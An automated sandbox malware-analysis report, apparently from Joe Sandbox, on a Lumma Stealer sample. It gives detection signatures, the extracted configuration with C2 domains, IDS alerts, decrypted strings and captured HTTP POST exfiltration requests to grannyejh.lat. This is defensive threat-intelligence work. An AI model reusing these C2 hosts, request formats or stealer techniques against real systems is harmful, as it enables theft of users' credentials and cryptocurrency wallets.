Edit tour

Windows Analysis Report
NHEXQatKdE.exe

Overview

General Information

Sample name:	NHEXQatKdE.exe renamed because original name is a hash value
Original sample name:	1af7854a5ad5a97c01e2217cdf0f7656.exe
Analysis ID:	1577899
MD5:	1af7854a5ad5a97c01e2217cdf0f7656
SHA1:	fad9ae35e40778bbe36cff4f28a3e31a3fbc58c3
SHA256:	2b843617d9fef8997fa434d68a2338dfb3da3550ceefb638f5e683a4e666693a
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

NHEXQatKdE.exe (PID: 5716 cmdline: "C:\Users\user\Desktop\NHEXQatKdE.exe" MD5: 1AF7854A5AD5A97C01E2217CDF0F7656)

conhost.exe (PID: 6464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

NHEXQatKdE.exe (PID: 5576 cmdline: "C:\Users\user\Desktop\NHEXQatKdE.exe" MD5: 1AF7854A5AD5A97C01E2217CDF0F7656)

NHEXQatKdE.exe (PID: 4156 cmdline: "C:\Users\user\Desktop\NHEXQatKdE.exe" MD5: 1AF7854A5AD5A97C01E2217CDF0F7656)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["aspecteirs.lat", "sustainskelet.lat", "energyaffai.lat", "sweepyribs.lat", "crosshuaht.lat", "grannyejh.lat", "discokeyus.lat", "necklacebudi.lat", "rapeflowwj.lat"], "Build id": "yau6Na--7911731954"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.2560508442.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NHEXQatKdE.exe PID: 4156	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: NHEXQatKdE.exe PID: 4156	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NHEXQatKdE.exe PID: 4156	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:22:26.557736+0100	2028371	3	Unknown Traffic	192.168.2.6	49714	172.67.179.109	443	TCP
2024-12-18T21:22:32.441063+0100	2028371	3	Unknown Traffic	192.168.2.6	49726	172.67.179.109	443	TCP
2024-12-18T21:22:36.985675+0100	2028371	3	Unknown Traffic	192.168.2.6	49739	172.67.179.109	443	TCP
2024-12-18T21:22:55.215987+0100	2028371	3	Unknown Traffic	192.168.2.6	49780	172.67.179.109	443	TCP
2024-12-18T21:22:57.690905+0100	2028371	3	Unknown Traffic	192.168.2.6	49787	172.67.179.109	443	TCP
2024-12-18T21:23:04.817390+0100	2028371	3	Unknown Traffic	192.168.2.6	49799	172.67.179.109	443	TCP
2024-12-18T21:23:10.861677+0100	2028371	3	Unknown Traffic	192.168.2.6	49811	172.67.179.109	443	TCP
2024-12-18T21:23:19.992096+0100	2028371	3	Unknown Traffic	192.168.2.6	49836	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:22:31.213368+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49714	172.67.179.109	443	TCP
2024-12-18T21:22:35.354788+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49726	172.67.179.109	443	TCP
2024-12-18T21:23:39.112966+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49836	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:22:31.213368+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49714	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:22:35.354788+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49726	172.67.179.109	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:22:26.557736+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49714	172.67.179.109	443	TCP
2024-12-18T21:22:32.441063+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49726	172.67.179.109	443	TCP
2024-12-18T21:22:36.985675+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49739	172.67.179.109	443	TCP
2024-12-18T21:22:55.215987+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49780	172.67.179.109	443	TCP
2024-12-18T21:22:57.690905+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49787	172.67.179.109	443	TCP
2024-12-18T21:23:04.817390+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49799	172.67.179.109	443	TCP
2024-12-18T21:23:10.861677+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49811	172.67.179.109	443	TCP
2024-12-18T21:23:19.992096+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49836	172.67.179.109	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:22:25.007446+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	64464	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:22:24.862868+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	59438	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T21:22:56.052386+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49780	172.67.179.109	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://grannyejh.lat/7	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/z	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/piN	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/4	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/v	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat:443/api/	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/E	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/N	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat:443/apiw	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/c	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/d	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2179942005.0000000002772000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["aspecteirs.lat", "sustainskelet.lat", "energyaffai.lat", "sweepyribs.lat", "crosshuaht.lat", "grannyejh.lat", "discokeyus.lat", "necklacebudi.lat", "rapeflowwj.lat"], "Build id": "yau6Na--7911731954"}

Multi AV Scanner detection for submitted file

Source: NHEXQatKdE.exe

ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.1% probability

Machine Learning detection for sample

Source: NHEXQatKdE.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yau6Na--7911731954

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006E123B CryptContextAddRef,CloseFigure,		3_2_006E123B
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00415211 CryptUnprotectData,		4_2_00415211

Source: NHEXQatKdE.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49836 version: TLS 1.2

Source: NHEXQatKdE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006EB12A FindFirstFileExW,	0_2_006EB12A
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006EB1DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_006EB1DB
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006EB12A FindFirstFileExW,	3_2_006EB12A
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006EB1DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_006EB1DB

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 5E874B5Fh	4_2_004259F0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp byte ptr [eax+ebx+09h], 00000000h	4_2_00436980
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov dword ptr [ebp-10h], ebx	4_2_0040A283
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov word ptr [edx], cx	4_2_004183F0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov edx, ecx	4_2_0043D580
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 71B3F069h	4_2_0043D580
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov ecx, eax	4_2_0040CE98
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov eax, dword ptr [00442B14h]	4_2_0040CE98
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 2DA07A80h	4_2_0043D7B0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A2347758h	4_2_0043A030
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-2Ch]	4_2_00427E16
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], C7235EAFh	4_2_0043D8E0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+04255C89h]	4_2_00409080
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov eax, dword ptr [ebp+08h]	4_2_00422966
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov ecx, dword ptr [esi+08h]	4_2_0040C93E
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov byte ptr [edi], cl	4_2_0040C93E
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then add eax, ecx	4_2_0042D1C4
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov ebx, eax	4_2_004059D0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov ebp, eax	4_2_004059D0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov byte ptr [esi], dl	4_2_0042C199
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	4_2_0042A270
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov ecx, eax	4_2_00415A0E
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	4_2_00427223
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov eax, dword ptr [ebp+08h]	4_2_00422966
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movsx eax, byte ptr [edi]	4_2_0043C2EE
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	4_2_004192F0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov eax, ecx	4_2_00425287
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-56522565h]	4_2_004222B1
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov ecx, eax	4_2_0041AB1A
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edi+18h]	4_2_00439BF0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-5F965E5Fh]	4_2_00417BFA
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-6FEB5746h]	4_2_00417BFA
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx edx, word ptr [ebp+00h]	4_2_00437BA9
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+4Ch]	4_2_0041FC50
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	4_2_0041FC50
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp byte ptr [ebx+edx], 00000000h	4_2_0041D400
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov edx, ecx	4_2_00437420
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 5E874B5Fh	4_2_00437420
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [edx+ebx*8], BC9C9AFCh	4_2_00437420
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then test eax, eax	4_2_00437420
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	4_2_004214C0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx edi, byte ptr [ebp+00h]	4_2_004094D0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	4_2_00429CD0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-56522565h]	4_2_00421CAB
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then jmp dword ptr [00443ECCh]	4_2_00421CAB
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	4_2_00407550
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	4_2_00407550
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov esi, edi	4_2_0041655D
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then jmp dword ptr [00443684h]	4_2_0041655D
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	4_2_0041655D
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1B9D9E48h]	4_2_0041ADE9
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov word ptr [ecx], dx	4_2_0040DDFA
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	4_2_00426D93
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov byte ptr [edi], cl	4_2_00425E40
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-09D3FE44h]	4_2_00425E40
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov ebp, edi	4_2_00425E40
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov esi, ecx	4_2_00424E40
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then jmp eax	4_2_00416E70
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-2Ch]	4_2_00427E16
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx edx, byte ptr [esi+eax-000000CFh]	4_2_0040AE20
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx]	4_2_0040AE20
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov byte ptr [esi], cl	4_2_0042B6E1
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then mov byte ptr [esi], cl	4_2_0042B738
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	4_2_004277A1

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:59438 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:64464 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49714 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49726 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49739 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49787 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49780 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49799 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49811 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49836 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49714 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49714 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49726 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49780 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49726 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49836 -> 172.67.179.109:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat

Source: Joe Sandbox View

IP Address: 172.67.179.109 172.67.179.109

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49714 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49726 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49739 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49787 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49780 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49799 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49811 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49836 -> 172.67.179.109:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4NI2IDMEIU881EWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12846Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4DEKY6HNPIRCHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15080Host: grannyejh.lat
